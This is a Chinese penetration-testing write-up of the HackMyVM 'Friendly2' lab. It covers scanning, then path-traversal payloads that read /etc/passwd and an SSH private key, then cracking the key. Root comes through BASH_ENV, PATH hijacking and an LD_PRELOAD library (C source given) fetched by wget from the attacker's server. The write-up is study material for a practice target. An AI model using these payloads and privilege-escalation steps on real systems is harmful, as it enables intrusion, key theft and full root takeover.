friendly2靶机渗透

笔记于2025/12/3

本文参考多个文章,链接放在提权部分了

靶机介绍:

该靶机包含文件路径遍历漏洞,以及SETENV提权,ROT13加密

靶机IP:10.120.67.180

攻击机IP:10.120.53.100

存活扫描
复制代码
arp-scan -I eth0 10.120.53.100/17
端口扫描

发现开放SSH服务端口和WEB应用端口

复制代码
nmap -p- 10.120.67.180
WEB应用渗透测试
目录扫描
复制代码
dirb http://10.120.67.180/
信息收集

发现可以测试LFI漏洞和RFI漏洞

RFI漏洞测试

失败了

复制代码
#抓包访问 
http://10.120.67.180/tools/check_if_exist.php?doc=http://www.baidu.com
LFI漏洞测试

成功,得到用户名

复制代码
#访问/etc/passwd 
http://10.120.67.180/tools/check_if_exist.php?doc=../../../../../etc/passwd

因为开放SSH服务,所以我们拿SSH服务的id_rsa密钥

复制代码
#访问 
http://10.120.67.180/tools/check_if_exist.php?doc=../../../../../home/gh0st/.ssh/id_rsa
尝试登录SSH服务

发现登录失败

复制代码
chmod 600 id_rsa 
ssh gh0st@10.120.67.180 -i id_rsa
对id_rsa解密
复制代码
ssh2john id_rsa > hash.txt 
john hash.txt -w=/usr/share/wordlists/rockyou.txt 
john hash.txt --show
登录SSH服务
复制代码
ssh gh0st@10.120.67.180 -i id_rsa 
#输入密码即可连接,若输入密码扔连接失败则需要给id_rsa提供权限"chmod 600 id_rsa"后再次尝试登录
内网渗透
找到user.txt
复制代码
find / -type f -name 'user.txt' 2>/dev/null 
cat /home/gh0st/user.txt
信息收集
复制代码
sudo -l 
cat /opt/security.sh
内网提权方法1
复制代码
echo 'chmod u+s /bin/bash' > /tmp/mal.sh 
chmod +x /tmp/mal.sh 
sudo BASH_ENV=/tmp/mal.sh /opt/security.sh
内网提权方法2

hmv_friendly2

HakcMyVM/Friendly2.md at master · pencek/HakcMyVM · GitHub

复制代码
#这条是用的比较多的,可以看以上两篇博主 
cd /tmp 
echo 'chmod u+s /bin/bash' > grep 
chmod +x grep 
sudo PATH=$PWD:$PATH /opt/security.sh 
#或者下面这条,是我自己试过的也可以提权 
cd /tmp 
echo 'chmod u+s /bin/bash' > tr 
chmod +x tr 
sudo PATH=$PWD:$PATH /opt/security.sh
内网提权方法3

四分多钟的时候会介绍

hackmyvm Friendly2靶场复盘_哔哩哔哩_bilibili

具体知识点在这

Linux 权限升级 - 黑客技巧 --- Linux Privilege Escalation - HackTricks

复制代码
攻击机kali: 
vim pe.c 
#粘贴复制的代码 
gcc -fPIC -shared -o pe.so pe.c -nostartfiles 
python3 -m http.server 7777 
防守机: 
cd /tmp 
wget -o http://10.120.53.100:7777/pe.so 
sudo LD_PRELOAD=/tmp/pe.so /opt/security.sh

编译过了在编译一次可能是这样的

我这边用kali编译失败了,不知道是什么原因,然后我就放弃了

放弃之后重拾了一下知识,加了个就可以编译成功了

复制代码
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>  // 新增:包含setgid/setuid的声明

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

拿下!

获取root.txt
复制代码
cat /root/root.txt 
find / -name '...' 2>/dev/null 
cd /... ls -al 
cat ebbg.txt

这里的root.txt的flag是经过ROT13加密过的,而/opt/security就是解码代码,只不过加了长度限制

修改/opt/security

复制代码
#将长度限制20修改成50或者更长 
nano /opt/security

运行并输入经过ROT13加密后的flag

WEB应用源代码分析

直接接收来自用户的GET请求doc参数,无任何过滤,存在路径遍历漏洞,攻击者可以利用他读取服务器任意敏感文件

复制代码
<?php 
if(isset($_GET['doc'])) { 
$filename = $_GET['doc']; 
readfile("/var/www/html/tools/documents/" . $filename); 
} 
?>

渗透测试收获:

如果sudo -l的内容为

复制代码
(ALL : ALL) SETENV: NOPASSWD: /opt/security.sh

那将有多种提权方法

ROT13加密类似凯撒加密

路径遍历漏洞经验

相关推荐
x-cmd10 分钟前
[x-cmd] jsoup 1.22.1 版本发布,引入 re2j 引擎,让 HTML 解析更安全高效
前端·安全·html·x-cmd·jsoup
听麟11 分钟前
HarmonyOS 6.0+ 跨端智慧政务服务平台开发实战:多端协同办理与电子证照管理落地
笔记·华为·wpf·音视频·harmonyos·政务
非凡ghost42 分钟前
PowerDirector安卓版(威力导演安卓版)
android·windows·学习·软件需求
kali-Myon1 小时前
2025春秋杯网络安全联赛冬季赛-day2
python·安全·web安全·ai·php·pwn·ctf
risc1234561 小时前
认识一个事物,需要哪些基本能力与要素?
笔记
代码游侠1 小时前
C语言核心概念复习——C语言基础阶段
linux·开发语言·c++·学习
独行soc1 小时前
2026年渗透测试面试题总结-19(题目+回答)
android·网络·安全·web安全·渗透测试·安全狮
dingdingfish1 小时前
Bash学习 - 第3章:Basic Shell Features,第5节:Shell Expansions
开发语言·学习·bash
firewood20241 小时前
共射三极管放大电路相关情况分析
笔记·学习
zl0_00_01 小时前
美亚2023
学习